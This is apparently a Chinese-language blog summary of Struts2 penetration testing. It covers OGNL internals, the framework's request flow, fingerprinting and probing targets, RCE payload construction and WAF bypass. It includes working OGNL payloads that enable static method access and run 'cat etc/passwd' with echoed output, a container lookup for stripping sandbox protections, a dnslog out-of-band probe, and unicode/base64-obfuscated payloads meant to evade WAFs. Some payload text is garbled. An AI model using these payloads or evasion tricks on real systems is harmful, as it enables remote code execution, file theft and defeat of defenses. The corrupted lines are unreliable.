Σ(゚∀゚ノ)ノ✓参见龙王

 通用型系统安全测试 -Struts2总结

Struts2

漏洞基础

OGNL

object Graphic Navigation Language

OgnlContext ———OGNL上下文关系

OGNL的#号

Lambda :[e]

OgnlContext中存在一些常用的变量

Struts 2框架( since 2004)

执行流程

  1. 客户端发送一个请求,将封装成HttpServletRequest ;
  2. 请求经过ActionContextCleanUp可选过滤器、其他Web过滤器如SiteMesh,到达FilterDispatcher过滤器;
  3. FilterDispatcher过滤器被调用,FilterDispatcher询问ActionMapper来决定这个请求是否需要调用某个Action ;
  4. 如果ActionMapper 决定需要调用某个Action,FilterDispatcher 把请求的处理交给Action 代理ActionProxy ;
  5. ActionProxy通过Configuration Manager读取struts.xml 以及它包含的*.xml 配置文件,找到需要调用的Action类;
  6. 找到需要调用的Action类后,ActionProxy 会创建一个ActionInvocation的实例,依次调用相关Interceptor,调用Action执行获取结果;
  7. ActionInvocation将查找Result传入到Template进行计算渲染,然后经过Interceptors(和步骤6相反)之后返回HttpservletResponse给用户

 

Action

Action相当于Model

 

ActionContext是Action的上下文

ValueStack相当于OGNL的root,是OgnlValueStack的实例

S2中的%和$

S2中OGNL代码串通常都以这两个符号开头

%号

$号

RCE漏洞挖掘

工具脚本

识别

  1. 500报错识别
  2. 通过网页后缀进行识别
  1. /struts/webconsole.html
  1. actionErrors
  1. request_only_locale
  1. CheckboxInterceptor

探测

在探测到目标网站使用了Struts2框架后

1.根据漏洞触发点进行漏洞探测

一般按照从新漏洞到旧漏洞的顺序进行尝试

注意并非新漏洞不存在就肯定没有旧漏洞!

2.尽量以最小payload进行检测

使用工具或者脚本一般都是直接跑利用

利用脚本可能会被waf、Filter、Struts2的配置拦截因此一般都是使

用:${11*11}、%{11*11}

查看返回数据是否执行了ognl,例如11*11=121

 

对于没有明显回显的Struts2漏洞(代码执行/命令执行)

代码:java.lang.Thread.sleep(5000)

代码:java.io.File('./test.txt')

代码:new URL(dnslog).openConnection()

代码︰@org.apache.commons.io.IOUtils@toString(XXXX.getInputStream())

payload构造

1.通过ognl取消Strut2的防护

2.利用静态/动态方法调用写入文件或者执行命令

3.如果需要,则通过输出返回结果(时间、带外、回显)

a=${#_memberAccess["allowStaticMethodAccess"]=true,

#a=@java.lang.Runtime@getRuntime().exec('cat etc/passwd').getInputStream(),

#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(121='+new java.lang.String(#d)),#out.close()}

allowStaticMethodAccess

allowStaticFieldAccess

xwork.MethodAccessor.denyMethodExecution

excludedPackageNames - HashSet - 在ognlUtil

excludedClasses - HashSet - 在ognlUtil

excludedPackageNamePatterns - HashSet - 在ognlUtil

获取Ognlutil
#container=#context[ "com.opensymphony.xwork2.Actioncontext.container']
#ognlUtil=#container.getlnstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)

防护Payioad变换
关键Payload变换
回显Payload变换

常见漏洞

 

ByPass

对于WAF来说,通常以关键字进行拦截,而我们要做的是避免其检查出关键字,但是也不是每次都能绕过,还是得看人品,看运气

WAF Bypass主要分为四个层面

协议层面

规则层面

规则主要是通过如正则表达式等手段对发送的整个数据包进行校验,通常限制越小越关键则越难以绕过

对于规则层面的绕过可以总结出下面一些方法

添加Junk code

Payload的编码和符号编码

进行Payload的编码,但是还是很大靶标,而且因为S2的防护可能还需要加上#_memberAccess=@ognl.OgnIContext@DEFAULT_MEMBER_ACCESs
用unicode编码避免一些检测

redirect:${lu0023luO05fmemberAccess=lu0040ognl.OgnlContextlu004ODEFAULT_MEMBER_ACCESS,#p=new sun.misc.BASE64Decoder().decodeBuffer(B64PAYLOAD),#s=newjava.lang.String(#p),@ognl.Ognl@getValue(#s,#context.getRoot()))

而Base64在很多package中有相关方法,可以进行变换﹔
在ognl里面可以用Unicode,但是struts2就不支持

 

用字符串拼接的方式防止检测

更换Payload

退出移动版